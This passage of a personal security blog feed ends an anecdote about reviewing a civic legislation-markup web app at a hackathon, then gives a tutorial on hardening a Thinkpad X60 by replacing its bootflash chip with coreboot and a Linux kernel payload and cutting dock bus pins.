biceps said he&#8217;d once quarterbacked for the high-school football team. My first thought&nbsp;was,</p> <blockquote> <p><span class="dquo">&#8220;</span>Oh, fuck me. Today&#8217;s gonna end with me hitting this dude in the&nbsp;face.&#8221;</p> </blockquote> <p>Our funder had split all us hackers up into smaller groups that morning. As should be expected from anyone familiar with the normative ratios in hacker circles, I was the only female-bodied person in my group, which neither bothered⁷ me nor surprised me in the slightest. It&#8217;s just a&nbsp;FactOfLife™.⁸</p> <p>What did surprise me was this plaided Texan. Speaking directly to me, he&nbsp;said,</p> <blockquote> <p><span class="dquo">&#8220;</span>Hi! You must be Isis, from the Tor Project. I&#8217;m a big fan of your&nbsp;work!&#8221;</p> </blockquote> <p>A bit shocked that anyone from Texas had heard of either me or the Tor Project, I thanked him and shook his hand. Some other members of the group tried to introduce themselves. He shushed them with a handwave and continued speaking directly to&nbsp;me:</p> <blockquote> <p><span class="dquo">&#8220;</span>So&#8230; you write Python, yeah? And, of course, you&#8217;re really good with security&#8230; I&#8217;m releasing this web app for the Senator tomorrow, and I&#8217;m really nervous about it and kinda wondering if you could take a look at my&nbsp;code?&#8221;</p> </blockquote> <p>Inside my brain, there were some noises like frantic footsteps on a hardwood floor and some confused shuffling of papers, and then a chorus of voices all saying in unison: <em>&#8220;Wat.&#8221;</em> This kid? Write&nbsp;code?</p> <p>Sceptical, I followed, sitting in the mahogany leather chair studded with brass rivets he had pointed me into, next to him, behind a giant, darkly-stained oak desk. His Macbook was sitting open on the desk. A couple of Vim buffers lay open before me. I hated <em>absolutely everything</em> he stood&nbsp;for.</p> <blockquote> <p><span class="dquo">&#8220;</span>It&#8217;s a perhaps a little bit late for an audit, if you&#8217;re deploying tomorrow.&#8221; I&nbsp;warned.</p> <p><span class="dquo">&#8220;</span>Well, it&#8217;s already live on the server&#8230; it&#8217;s just that we decided to open-source it, so I&#8217;m making it public on Github&nbsp;tomorrow.&#8221;</p> </blockquote> <p>I stared at his cowboy boots. Two of the voices in my brain were whispering back and forth to each&nbsp;other:</p> <blockquote> <p><span class="dquo">&#8220;</span>Open&nbsp;source?&#8221;</p> <p><span class="dquo">&#8220;</span>Did he just say &#8216;open&nbsp;source&#8217;?&#8221;</p> <p><span class="dquo">&#8220;</span>I dunno&#8230; we probably just misheard&nbsp;him.&#8221;</p> <p><span class="dquo">&#8220;</span>Perhaps he meant &#8216;Congress is a bunch of open sores&#8217;&#8230;&nbsp;?&#8221;</p> </blockquote> <p>My own inner-voice interrupted, telling them to <span class="caps">STFU</span>.</p> <p>One of the other hackers from the group tried to introduce themselves and their project again. More handwaving from the plaided Texan. Silence&nbsp;again.</p> <p>We started looking over the code, a mixture of Python, Django templates, and Javascript. I pointed out a bunch of little things as I spotted them, like moving to a more recent version of Django to better avoid <a href="proxy.php?url=http://www.cvedetails.com/vulnerability-list/vendor_id-10199/product_id-18211/year-2011/Djangoproject-Django.html">some of the then-recent <span class="caps">CSRF</span>, <span class="caps">XSS</span>, and DoS vulnerabilities</a>. I complimented him on his clean use of Javascript scopes and avoidance of global variable manipulation, pointed out some places where perhaps the Python code could be more functionalised to avoid code duplication, and suggested adding a bit more developer documentation and recommended trying <a href="proxy.php?url=http://sphinx-doc.org/">Sphinx</a>. Just little things. Overall, it looked pretty&nbsp;good.</p> <p>The whole time, he was kind and patient when I appeared to misunderstand something, intelligent in his explanations for particular segments of code and rationales for overarching design choices, and slightly <em>nervous</em>, as if he was sincerely worried that I might find some issue and rail against him for writing shitty, insecure code. He wasn&#8217;t just showing off his perfectly-cultivated pet project to me to try get attention. Even more impressive: he spoke directly <em>with me</em> the entire time. In a room full of boys. Boys who concern themselves primarily with coding and security, no less. And &#8212; not to be misandrist &#8212; boys who continually tried to interrupt the conversation to provide their own input (which, I should add, was more than welcome on my end&#8230; after all, it&#8217;s possible I&#8217;d missed something). In a good way, I was shocked. And impressed. And then further shocked at myself that I was&nbsp;impressed.</p> <blockquote> <p><span class="dquo">&#8220;</span>So&#8230; this is some sort of app for collaborative editing, like a wiki,&nbsp;right?&#8221;</p> </blockquote> <p>I probingly asked out of curiosity, wondering why anyone would feel the need to reinvent <em>that</em> particular wheel&nbsp;again.</p> <blockquote> <p><span class="dquo">&#8220;</span>Yep! It&#8217;s a site which allows members of Congress to upload proposed legislature for the public to collaboratively edit, mark up, and make suggestions for. Experts too can point out new and relevant research in their fields which might be pertinent to the amendment and creation of laws, lawyers can highlight sections which are confusingly or troublingly worded, and anyone can voice their opinions.&#8221; he&nbsp;explained.</p> </blockquote> <p>I thought of bills like <span class="caps">SOPA</span>.</p> <blockquote> <p><span class="dquo">&#8220;</span>Hmm&#8230; so if someone were to login, click to edit a bill, highlight the whole text input field, hit <span class="caps">BACKSPACE</span>, and then click <span class="caps">SAVE</span>&#8230; what would that&nbsp;do?&#8221;</p> </blockquote> <p>He cocked his head sideways and stared at me inquisitively. <em>&#8220;That&#8230; would create a revision&#8230; in which the whole bill would be erased.&#8221;</em> he answered, slowly, seemingly not understanding why someone might wish to make such a political&nbsp;statement.</p> <p>We got to talking about login and authentication schemes, and, in some sense, matters of identity. Who should be permitted to edit this legislature? Currently implemented mechanisms were, of course, poorly-designed and insufficient to prove requisite authorisation to edit a proposed bill. And even worse in the case that such a system were to be used for smaller scales, like state or city legislature. Requiring an image of a <span class="caps">U.S.</span> passport or state-issued driver&#8217;s licence would pose enormous data-retention and privacy&nbsp;issues.</p> <blockquote> <p><span class="dquo">&#8220;</span>But is there actually crypto that can do authentication like that safely?&#8221; he&nbsp;asked.</p> </blockquote> <p>I remember that, somehow, through a series of questions and answers, I wound up explaining things like Bitcoin&#8217;s demonstrated solution to the consensus issues posed by the Byzantine General&#8217;s Problem, the basics of some of <a href="proxy.php?url=https://people.torproject.org/~isis/papers/rBridge:%20User%20Reputation%20based%20Tor%20Bridge%20Distribution%20with%20Privacy%20Preservation.copy%20with%20notes.pdf">my favourite anonymous credential schemes</a>, and how such schemes combined might someday be used to create anonymous electronic identification cards for a system of global, opt-in, techno-panarchist&nbsp;States:</p> <blockquote> <p><span class="dquo">&#8220;</span>So, for example, you could be a member of the Republican State, protected by it and paying taxes to it, regardless of where you live, travel, or work. You&#8217;d be free to discuss and vote on issues anonymously, truly speaking your mind, unhindered by any worries that your political views might one day become unsavoury and be used against you. And conversely, someone like me: I would be able to opt-in (or out) of whichever State, or collective association, as I saw fit, and be taxed accordingly for my use of whatever public services I&#8217;d signed up for. Most importantly, each person could have strong, cryptographic protection of their identity, their associations, and perhaps even proof that they had payed whatever taxes they had opted&nbsp;into.&#8221;</p> </blockquote> <p>I remember shyly looking up from the stitched patterns on his cowboy boots at this point, slightly embarrassed that so many words which might easily convince someone that I was mentally unstable had poured out of my mouth. And I remember the look on the Texan hacker&#8217;s face: eyes wide, head tilted again to the side, mouth agape, <em>mind completely blown</em>. He said nothing. He continued to say nothing, and it seemed like this was probably going to take him a&nbsp;while.</p> <p>This was painful. I really liked this guy. And I absolutely <em>hated</em> that I couldn&#8217;t help liking him. I wanted to hate him, goddammit. He was like, you know, <em>the enemy</em>.</p> <p>But so what if maybe he didn&#8217;t understand my crazy-anarchist politics or my decision to never brush my hair and grow dreads down to my knees? I didn&#8217;t agree with his Macbook or understand how he could maintain any typing accuracy with his bulgy quarterback biceps. But differences aside, this guy was a good coder, was extremely respectful of female-bodied people and willing to engage them on a technical level, and was willing to write a web app which permitted &#8212; as ineffectual as I suspect such a statement would be &#8212; people like me to voice their opinions, publicly and&nbsp;equally.</p> <p>I guess I suppose <em>grumble</em> that maybe there are <em>grumble</em> a few decent people <em>grumble</em> on Capitol&nbsp;Hill.</p> <p>For what it&#8217;s worth, I don&#8217;t remember the name of the plaided Texan I spoke with on that day two years ago, so please correct me if I&#8217;m wrong, but I strongly suspect that it was <a href="proxy.php?url=https://github.com/jcarbaugh">Jeremy Carbaugh</a> of the <a href="proxy.php?url=http://sunlightfoundation.com/team/jcarbaugh/">Sunlight Foundation</a>, and that the web app in question was <a href="proxy.php?url=http://www.publicmarkup.org/">PublicMarkup</a>, <a href="proxy.php?url=https://github.com/sunlightlabs/publicmarkup">the code for which is available on Github</a>.</p> <hr> <p style="font-size: 80%">¹ I&#8217;m thinking specifically the one with the cop trying to arrest Moxie for carrying a closed wine bottle onto a sailboat in a harbour, while an ongoing Navy exercise in the water is using trained dolphins strapped with explosives to rocket a scuba-driving Navy Seal out of the water and up into the air, where other Navy Seals on a boat practice gunning him&nbsp;down.</p> <p style="font-size: 80%">² Upon proofreading this post, a friend suggested that I not retroactively &#8220;misterm&#8221; actions which were not, legally speaking &#8220;lying&#8221; <i>per se</i>, in a way which could potentially be considered an admission of the crime of lying to a federal agent, and suggested that I should instead say that &#8220;I insinuated misinformation to the <span class="caps">TSA</span> agent.&#8221; While I <i>am</i> slightly anxious about making a blog post containing what could be construed as an admission to a crime which I didn&#8217;t commit&#8230; on the other hand &#8212; because I can&#8217;t say the phrase &#8220;insinuated misinformation&#8221; with a straight face without making an IngSoc doublespeak reference &#8212; I&#8217;m going to leave my post&nbsp;as-is.</p> <p style="font-size: 80%">³ Unless, of course, you&#8217;re one of the rather annoyingly naïve conspiracy theorist assholes who just got on the Internet for the first time to write drivel for <a href="proxy.php?url=http://pando.com/2014/07/16/tor-spooks/">Pando</a>, and you happen to count contracting to non-profits like the <a href="proxy.php?url=https://leap.se/"><span class="caps">LEAP</span> Encryption Access Project</a> and the <a href="proxy.php?url=https://www.torproject.org">Tor Project</a> as somehow &#8220;working for the <span class="caps">U.S.</span> government&#8221;, despite both projects <a href="proxy.php?url=https://www.torproject.org/about/financials.html.en">being very clear about whom they receive grant funding from and for what purposes</a>.</p> <p style="font-size: 80%">⁴ And following <a href="proxy.php?url=https://lists.torproject.org/pipermail/tor-relays/2012-May/001344.html">Mike Perry&#8217;s frequent examples</a>, I&#8217;d also like to take this opportunity to hold my <i>I&#8217;ve-never-received-a-National-Security-Letter</i> card high in the air while I still can. <p style="font-size: 80%">⁵ I hear that Mike Perry enjoys getting his feet wet. Perhaps he&#8217;ll write something about&nbsp;it.</p> <p style="font-size: 80%">⁶ Story for another&nbsp;time.</p> <p style="font-size: 80%">⁷ Because I can hear the other feminists yelling at me as I write this: by &#8220;not bothered&#8221; I mean that &#8220;I&#8217;ve become much too much accustomed to this to feel personally offended at this particular&nbsp;incident.&#8221; </p> <p style="font-size: 80%">⁸ Where the word &#8220;life&#8221; is instead taken to mean &#8220;the current deranged sociocultural arrangement in which female persons are coerced in innumerable ways to assume that they are intrinsically ill-adept w.r.t. skills in various technologies, sciences, and other areas of interest and study which are commonly considered by those afflicted with <a href="proxy.php?url=http://womensenews.org/story/books/120323/women-were-first-computer-programmers">Historiological Retrograde Amnesia</a> to have &#8216;always been&#8217; primarily&nbsp;male.&#8221;</p>Replacing a Thinkpad X60 Bootflash Chip:2014-01-10T15:29:00+00:002015-11-03T15:48:13+00:00isis agora lovecrufttag:blog.patternsinthevoid.net,2014-01-10:/replacing-a-thinkpad-x60-bootflash-chip.html<h1>Using coreboot to directly initialise a Linux kernel&nbsp;payload</h1> <p><strong><span class="caps">UPDATED</span>:</strong> (2014-01-13) To include corrections and additional comments from&nbsp;Peter.</p> <p>The idea behind this is to build on top of the Thinkpad hardware modifications which I mentioned in one of my last posts, and which were discussed by Peter Stuge in his recent 30c3 talk, <a href="proxy.php?url=http://media.ccc.de/browse/congress/2013/30C3_-_5529_-_en_-_saal_2_-_201312271830_-_hardening_hardware_and_choosing_a_goodbios_-_peter_stuge.html">&#8220;Hardening Hardware <span class="amp">&amp;</span> Choosing a #goodBIOS&#8221;</a>. Pretty much all of this post is the result of shouldersurfing Peter, asking way too many questions, and writing down everything which seemed like I&#8217;d forget it and wished I knew it later when doing these modifications on my own. Peter also took the photos used in this post; all credit, praise, hoorays, <span class="caps">BTC</span>, dogecoin, and whatever else should go to Peter for his&nbsp;work.</p> <p>Rather than relying on a <a href="proxy.php?url=http://www.coreboot.org/Welcome_to_coreboot">coreboot</a> image which sits in the onboard bootflash chip &#8212; the default chip sadly has a volatile write-protect pin that is reset to an unprotected write state on poweroff &#8212; we can replace this chip with a larger one. In most laptops, the bootflash chip is anywhere from <span class="caps">1MB</span> to <span class="caps">4MB</span>. Newer <span class="caps">UEFI</span>-enabled machines are beginning to push this limit, often requiring <span class="caps">8MB</span> chips, but this is still far from ubiquitous in the marketplace. If we pull the bootflash chip from the mainboard and replace it with a larger one, we can flash it with a coreboot image which contains a Linux kernel payload and initramfs, then set write-protect though &#8220;software&#8221; (more like mediumware, if you ask me) via the <span class="caps">UART</span> interface and/or through hardware by soldering a bridge between two of the bootflash chip&#8217;s pins. This allows us to skip using a bootloader (such as <span class="caps">GRUB2</span>, <span class="caps">LILO</span>, etc.) entirely, booting directly to the flashed&nbsp;kernel.</p> <h3>Wait. How reversible is this&nbsp;process?</h3> <p>You should take a backup of the original blob on the original bootflash chip before playing with it, of course. If a chip is flashed with a disfunctional <span class="caps">ROM</span>, the simplest (and least likely to damage the mainboard) method for replacing the chip is to cut the pins again (as described below), desolder the remaining pin stubs, and use a desoldering wick again to clean up the mess. Provided you&#8217;ve got a backup of the original blob, just flash that to a new chip, resolder, and you should be back where you&nbsp;started.</p> <p>There is a risk of bricking your mainboard while doing this. You probably shouldn&#8217;t be doing this to your only machine, unless you enjoy the thrills of living life out on the edge and potentially burning your safety blanket. Please take everything I say with a handful of salt, I&#8217;m currently traveling and won&#8217;t have a chance to try this until I return to the place I came from, whenever that is. And I cannot be held liable for your mistakes, legal disclaimers legal disclaimers, blah blah&nbsp;blah.</p> <h3>Where can I obtain a good replacement bootflash&nbsp;chip?</h3> <p>Any <span class="caps">8MB</span> or <span class="caps">16MB</span> chip should do. However, in many chips, the write-protect …</p><h1>Using coreboot to directly initialise a Linux kernel&nbsp;payload</h1> <p><strong><span class="caps">UPDATED</span>:</strong> (2014-01-13) To include corrections and additional comments from&nbsp;Peter.</p> <p>The idea behind this is to build on top of the Thinkpad hardware modifications which I mentioned in one of my last posts, and which were discussed by Peter Stuge in his recent 30c3 talk, <a href="proxy.php?url=http://media.ccc.de/browse/congress/2013/30C3_-_5529_-_en_-_saal_2_-_201312271830_-_hardening_hardware_and_choosing_a_goodbios_-_peter_stuge.html">&#8220;Hardening Hardware <span class="amp">&amp;</span> Choosing a #goodBIOS&#8221;</a>. Pretty much all of this post is the result of shouldersurfing Peter, asking way too many questions, and writing down everything which seemed like I&#8217;d forget it and wished I knew it later when doing these modifications on my own. Peter also took the photos used in this post; all credit, praise, hoorays, <span class="caps">BTC</span>, dogecoin, and whatever else should go to Peter for his&nbsp;work.</p> <p>Rather than relying on a <a href="proxy.php?url=http://www.coreboot.org/Welcome_to_coreboot">coreboot</a> image which sits in the onboard bootflash chip &#8212; the default chip sadly has a volatile write-protect pin that is reset to an unprotected write state on poweroff &#8212; we can replace this chip with a larger one. In most laptops, the bootflash chip is anywhere from <span class="caps">1MB</span> to <span class="caps">4MB</span>. Newer <span class="caps">UEFI</span>-enabled machines are beginning to push this limit, often requiring <span class="caps">8MB</span> chips, but this is still far from ubiquitous in the marketplace. If we pull the bootflash chip from the mainboard and replace it with a larger one, we can flash it with a coreboot image which contains a Linux kernel payload and initramfs, then set write-protect though &#8220;software&#8221; (more like mediumware, if you ask me) via the <span class="caps">UART</span> interface and/or through hardware by soldering a bridge between two of the bootflash chip&#8217;s pins. This allows us to skip using a bootloader (such as <span class="caps">GRUB2</span>, <span class="caps">LILO</span>, etc.) entirely, booting directly to the flashed&nbsp;kernel.</p> <h3>Wait. How reversible is this&nbsp;process?</h3> <p>You should take a backup of the original blob on the original bootflash chip before playing with it, of course. If a chip is flashed with a disfunctional <span class="caps">ROM</span>, the simplest (and least likely to damage the mainboard) method for replacing the chip is to cut the pins again (as described below), desolder the remaining pin stubs, and use a desoldering wick again to clean up the mess. Provided you&#8217;ve got a backup of the original blob, just flash that to a new chip, resolder, and you should be back where you&nbsp;started.</p> <p>There is a risk of bricking your mainboard while doing this. You probably shouldn&#8217;t be doing this to your only machine, unless you enjoy the thrills of living life out on the edge and potentially burning your safety blanket. Please take everything I say with a handful of salt, I&#8217;m currently traveling and won&#8217;t have a chance to try this until I return to the place I came from, whenever that is. And I cannot be held liable for your mistakes, legal disclaimers legal disclaimers, blah blah&nbsp;blah.</p> <h3>Where can I obtain a good replacement bootflash&nbsp;chip?</h3> <p>Any <span class="caps">8MB</span> or <span class="caps">16MB</span> chip should do. However, in many chips, the write-protect bit is volatile and is reset (to an unprotected write state) at power&nbsp;off.</p> <p>Chips which are known to have a non-volatile write bit are produced by Macronix and&nbsp;Winbond.</p> <h3>How do I find the correct chip to&nbsp;pull?</h3> <p>In a Thinkpad X60, the bootflash chip, <strike>also called a Firmware Hub (<span class="caps">FWH</span>),</strike> is an <span class="caps">SPI</span> chip located on the mainboard, on an <span class="caps">LPC</span> bus connected to the southbridge. It should be labelled something like <code>MX25L1605D</code>, and it&#8217;s directly adjacent to some Lenovo chip called a <strike>U72</strike> <span class="caps">PMH</span>-7, the latter of which is an embedded <span class="caps">ASIC</span> power management controller, the largest chip in the area and not important for our purposes, however useful for locating the bootflash chip. Both are near the two adjacent <span class="caps">USB</span>&nbsp;hubs:</p> <p><img alt="x60-bootflash-location" src="proxy.php?url=https://blog.patternsinthevoid.net/images/2013/12/x60-bootflash-location-small.jpg"></p> <p>The chipnames from the labels in the above photo can also be seen in <a href="proxy.php?url=https://blog.patternsinthevoid.net/images/2013/12/30c3-hhacagb/schematic/01-page.jpg">this block diagram</a>, and <a href="proxy.php?url=https://blog.patternsinthevoid.net/images/2013/12/30c3-hhacagb/schematic/02-closeup.jpg">here&#8217;s a closeup</a> of the section from that diagram pertaining to that <span class="caps">LPC</span>&nbsp;bus.</p> <p>Peter responded with the following explanation of <span class="caps">SPI</span> versus <span class="caps">FWH</span>:</p> <blockquote> <p>How to access the boot flash has changed over time; originally it was all paralell on an <span class="caps">ISA</span> bus, then came <span class="caps">LPC</span>, a 4-bit wide serial bus designed by intel, with two different and incompatible commands (yay!) for reading memory at a 32-bit address, one called &#8220;memory read&#8221;, the other called &#8220;firmware memory&nbsp;read&#8221;.</p> <p>Intel made chipsets which required the latter and flash chips which responded to the latter, and called such flash chips a &#8220;firmware hub&#8221;. Other chipset and flash chip makers instead used the &#8220;memory read&#8221; command and didn&#8217;t invent any particular names for their flash chips. They&#8217;re generally called <span class="caps">LPC</span> flash, although that&#8217;s technically accurate for an <span class="caps">FWH</span> chip as&nbsp;well.</p> <p>Then came <span class="caps">SPI</span>, the 1-bit wide serial interconnect mostly used today to save on <span class="caps">PCB</span> traces. To be fair, <span class="caps">SPI</span> was originally designed by motorola for interconnecting microcontroller peripherals. &#8220;Serial Peripheral Interconnect&#8221; the same is probably true for the memory access protocol used in PCs&nbsp;now.</p> <p>So <span class="caps">SPI</span> and <span class="caps">FWH</span> are mutually exclusive. The X60 schematic and <span class="caps">PCB</span> is from a time just before <span class="caps">SPI</span> became the norm so it was designed to use either <span class="caps">SPI</span> or <span class="caps">FWH</span>, but in practice I&#8217;ve only seen <span class="caps">SPI</span>&nbsp;used.</p> <p>U72 is the identifier in the schematic for the <span class="caps">PMH</span>-7 chip. (U means it&#8217;s some sort of integrated circuit and 72 means it&#8217;s the 72nd <span class="caps">IC</span>) I&#8217;d just refer to the lenovo chip as <span class="caps">PMH</span>-7.</p> </blockquote> <h3>How do I pull the&nbsp;chip?</h3> <p>The <a href="proxy.php?url=http://www.coreboot.org/Soldering_a_socket_on_your_board#Cutting_the_chip">simple way</a> is to pull the factory chip is to cut the pins, as close to the chip packaging as possible, then desolder the remaining eight pin stubs. And finally, use a desoldering wick to cleanup whatever mess is&nbsp;leftover.</p> <h3>Is there a size limit to the new chip? Can I just use a <span class="caps">64MB</span>&nbsp;chip?</h3> <p>The size of the bootflash chip is limited by the <span class="caps">SPI</span> protocol. The largest chip which can be used is <span class="caps">16MB</span>.</p> <p>While it would be nice to use a huge chip, so that we have extra room for a larger kernel and initramfs, the <span class="caps">SPI</span> addressing scheme only has 24 bits, which limits the size of the replacement bootflash chip. It seems whichever old Unix-beardos back in the Epoch days designed the <span class="caps">SPI</span> protocol couldn&#8217;t foresee anyone ever wanting anything larger. (Futureproofing, assholes. It&#8217;s a&nbsp;thing.)</p> <h2>How do I flash a Linux kernel and initramfs to the new, larger&nbsp;chip?</h2> <hr> <h3>Compiling a Linux&nbsp;kernel</h3> <blockquote> <p>“Any project whose instructions begin&nbsp;with</p> <blockquote> <div class="highlight"><pre><span></span><code><span class="err"> ‘First, compile a kernel…’</span> </code></pre></div> <p>is not a project you want to be&nbsp;doing.”</p> </blockquote> </blockquote> <p>I don&#8217;t remember who told me this, but whatever, doesn&#8217;t matter. They were totally wrong. <em>Fuck you, Dad, I do what I want! I&#8217;m not mowing the&nbsp;lawn.</em></p> <p>So… first, compile a Linux kernel. If you&#8217;ve never done this, please don&#8217;t ask me for help. While kernel hackers certainly are not known for their documentation prowess, there are plenty of tutorials on the internet to help you with this step. I remember finding <a href="proxy.php?url=https://wiki.debian.org/HowToRebuildAnOfficialDebianKernelPackage">these</a> <a href="proxy.php?url=http://verahill.blogspot.com.au/2012/02/debian-testing-building-your-own-linux.html">resources</a> <a href="proxy.php?url=http://web.archive.org/web/20120606074417/http://www.ericrswanson.info/Wordpress/building-the-linux-kernel-on-debian-based-systems/">helpful</a>. You also can have a look at <a href="proxy.php?url=https://code.patternsinthevoid.net/?p=scripts.git;a=blob;f=build_kernel;hb=HEAD">my kernel build scripts</a> (beware, I&#8217;ve not used that script to build a kernel image for a coreboot <span class="caps">ROM</span> yet); perhaps it will&nbsp;help.</p> <p>You&#8217;ll want to strip down your kernel <em>as small as possible</em> (i.e. by removing drivers/support for hardware/devices which don&#8217;t exist in your machine). And, preferably, compile it monolithically (all modules compiled in, and support for additional module loading disabled). If you <em>really</em> want module support for some reason, it could be interesting to look into the <a href="proxy.php?url=https://lwn.net/Articles/470906/">kernel module signing features</a> which were added into <a href="proxy.php?url=https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=106a4ee258d14818467829bf0e12aeae14c16cd7">Torvald&#8217;s</a> <a href="proxy.php?url=https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=48ba2462ace6072741fd8d0058207d630ce93bf1">main</a> <a href="proxy.php?url=https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ea0b6dcf71d216dc11733ac19b26df0f5d0fd6c2">tree</a> <a href="proxy.php?url=http://kernelnewbies.org/Linux_3.7#head-a04c2b7827323d26a659b3b7cdf759747bb400d2">during the 3.7 release</a>.</p> <p>Peter&nbsp;wrote:</p> <blockquote> <p>The kernel file needed is called bzImage, that&#8217;s the actual filename. After running <code>make</code> it&#8217;s in <code>arch/x86/boot/bzImage</code> in the kernel source tree and it is the file bootloaders normally use, grub as well as&nbsp;lilo.</p> </blockquote> <h3>Adding an initramfs into the&nbsp;kernel</h3> <p>Additionally, while compiling the kernel, there are options to specify the location of an <a href="proxy.php?url=http://www.linuxfromscratch.org/blfs/view/svn/postlfs/initramfs.html">initramfs</a> which will get compiled into the kernel (you&#8217;ll hit these when you edit the kernel config, e.g. when you do <code>make-menuconfig</code> or <code>make-config</code>):</p> <pre style="font-size: 90%" class="prettyprint lang-bash"> CONFIG_BLK_DEV_INITRD=y CONFIG_INITRAMFS_SOURCE="/usr/src/initramfs" </pre> <p>There is a decent <a href="proxy.php?url=http://wiki.gentoo.org/wiki/Custom_Initramfs">Gentoo wiki page on the directory layout requirements for building a custom initramfs</a>. Keeping in mind, of course, that your whole coreboot + kernel + initramfs will need to be small enough to flash onto the chip&nbsp;later.</p> <p><strong><span class="caps">TODO</span>:</strong> My current, statically-linked, tor-0.2.4.20 binary is <span class="caps">8MB</span>, and stripping the object symbols with <pre style="font-size: 90%" class="prettyprint lang-bash"> strip --strip-all '/path/to/tor-0.2.4.20' </pre> I can get it down to 1.<span class="caps">8MB</span>. It would be nice to see if we can get a working kernel for a Thinkpad X60, with an initramfs which includes basic security and communications software such as <a href="proxy.php?url=https://gitweb.torproject.org/tor.git">Tor</a>, <a href="proxy.php?url=https://github.com/agl/xmpp-client">xmpp-client</a>, <a href="proxy.php?url=http://git.gnupg.org/cgi-bin/gitweb.cgi?p=gnupg.git;a=summary">gnupg</a>, and, most likely, ssh, cryptsetup, and a busybox as&nbsp;well.</p> <h3>Compiling the kernel into a CoreBoot <span class="caps">ROM</span></h3> <p>Then compile the kernel into a CoreBoot <span class="caps">ROM</span>. There isn&#8217;t much documentation of this process yet, but my understanding from looking over the CoreBoot source tree would be to use the <code>PAYLOAD_LINUX</code> option in <a href="proxy.php?url=http://review.coreboot.org/gitweb?p=coreboot.git;a=blob;f=src/Kconfig;h=1c80b8c194ecfb994b60f0be5c72b3460ec3b60f;hb=9bf05de5ab2842fc83cea8da5e9058417fc4bc24#l543">the included Kconfig file</a> to specify the path to the <code>bzImage</code> of your compiled kernel. If you try this before I get a chance to, it would be great if you could document the steps involved and <a href="proxy.php?url=mailto:[email protected]">send them to me</a> and I&#8217;ll add them&nbsp;here.</p> <p>Peter&nbsp;added:</p> <blockquote> <p>Indeed making coreboot use a kernel as payload is done during coreboot &#8216;make menuconfig&#8217; (or make config if you prefer) by entering the Payload submenu, selecting &#8220;A Linux payload&#8221; and specifying the path to the bzImage file in the kernel source&nbsp;tree.</p> </blockquote> <h3>How can I sign the kernel which gets flashed to the new&nbsp;chip?</h3> <p>This needs to be researched further. Likely, commands for this could be placed directly into the initramfs&#8217;s /init script. As mentioned above, the kernel itself supports module signing, though this is neither sufficient nor necessary given the benefits of a monolithic kernel in this context. It could be possible to get a <span class="caps">TPM</span> chip (see the <code>tpm_tis</code> kernel module) to keep keys required for checking a kernel signature, though I know very little about <span class="caps">TPM</span>. It&#8217;s also likely that someone else has already worked on&nbsp;this.</p> <blockquote> <p>The kernel and initramfs in boot flash don&#8217;t strictly need to be signed because the flash chip is made read-only in hardware once they have been written to it. That hardware write protection is the root of trust. If someone has access to the hardware long enough to tamper with the flash chip then game over&nbsp;anyway.</p> <p>One further step is possible: adding <span class="caps">TPM</span> support to coreboot, having coreboot measure itself and then using the <span class="caps">TPM</span> to unseal an encrypted kernel+initramfs. I&#8217;m not sure if that would actually have any advantages. However - the initramfs used with the kernel could, and should, check signatures of whatever it starts. That still needs to be designed. &#8212;&nbsp;Peter</p> </blockquote> <h2>Prior&nbsp;modifications</h2> <hr> <p>I&#8217;ll briefly cover the prior modifications. Peter was nice enough to drop me a <a href="proxy.php?url=https://blog.patternsinthevoid.net/images/2013/12/30c3-hardening_hardware_and_choosing_a_goodbios-photos.tar.bz2">tarball of all the images from the slides in his talk</a>, which is fortunate because my camera and I are currently not exactly on speaking&nbsp;terms.</p> <h3><span class="caps">STEP</span>&nbsp;1:</h3> <p>Remove the keyboard and palmrest from the chassis: <img alt="removing-keyboard" src="proxy.php?url=https://blog.patternsinthevoid.net/images/2013/12/001-025.removing-keyboard_small.gif"></p> <p></p><span id="step2wrapper" style="align:left; float:left; width:100%;"><table id="step2" style="float:right; clear:right; width:65%; padding:0.2em;"><tbody> <tr> <td style="text-align:center; padding:0.2em;"> <img alt="PC87382-pin-diagram" width="400px" src="proxy.php?url=./static/images/2013/12/external-dock-LPC-forwarder_small.jpg" /> </td> </tr> <tr> <td style="text-align:center; padding: 0.2em;"> <p><code>PC87382</code> Pin Diagram<a href="proxy.php?url=./static/images/2013/12/external-dock-LPC-forwarder.jpg">(larger&nbsp;image)</a></p> </td> </tr> </tbody></table> <p><br /></p> <h3><span class="caps">STEP</span>&nbsp;2:</h3> <p>Next, disconnect pins <code>4</code>, <code>18</code>, <code>20</code>, <code>26</code>, <code>29</code>, <code>31</code>, <code>33</code>, <code>37</code>, <code>39</code>, <code>41</code>, <code>42</code> on a chip labelled <code>PC87382</code>, which forwards bus communications through two <span class="caps">LPC</span> buses from an external dock. To disconnect them, simply get a scalpel and carefully cut them from the chip&#8217;s packaging, and then desolder the severed pins from the pads on the&nbsp;mainboard.</p> <blockquote><p>Photo 041 shows severed pins soldered into the pads. I strongly recommend to remove the pins, as I try to show in photos 043-044, to end up with a result such as in photo 045 without any pins left. This step matters because it&#8217;s significantly easier to reconnect the pins to the chip if the original pins are left on the mainboard. Someone could probably do that in an airplane lavatory, modulo the fire alarm. No pins left on the board makes it more difficult to reconnect the chip. But then again, if someone can work on the mainboard they can just replace the boot flash instead. &#8212;&nbsp;Peter</p></blockquote> <p><img alt="external-dock-pin-cutting" src="proxy.php?url=./static/images/2013/12/026-032.034-049.external-dock-pin-cutting.gif"></img></p> </p></span></p> <h3><span class="caps">STEP</span>&nbsp;3:</h3> <p>Remove the speaker, the internal wifi card, and the 3g module (if there is one&nbsp;present):</p> <p><img alt="remove-wifi-3g" src="proxy.php?url=https://blog.patternsinthevoid.net/images/2013/12/051-056.remove-radios_small.gif"></p> <h3><span class="caps">STEP</span>&nbsp;4:</h3> <p>Remove mainboard and power adapter from&nbsp;chassis.</p> <p><img alt="remove-mainboard" src="proxy.php?url=https://blog.patternsinthevoid.net/images/2013/12/056-111.remove-mainboard_small.gif"></p> <p></p><span id="step5wrapper" style="align:left; float:left; width:100%;"><table id="step5" style="float:left; clear:left; width:65%; padding:0.2em;"><tbody> <tr> <td style="text-align:center; padding:0.2em;"> <img alt="Cardbus PDN2 Schematic" width="400px" src="proxy.php?url=./static/images/2013/12/30c3-hhacagb/schematic/05-cardbuspdn2.jpg" /> </td> </tr> <tr> <td style="text-align:center; padding: 0.2em;"> <p>Schematic showing resistor <code>R461</code><a href="proxy.php?url=./static/images/2013/12/30c3-hhacagb/schematic/05-cardbuspdn2.jpg">(larger&nbsp;image)</a></p> </td> </tr> 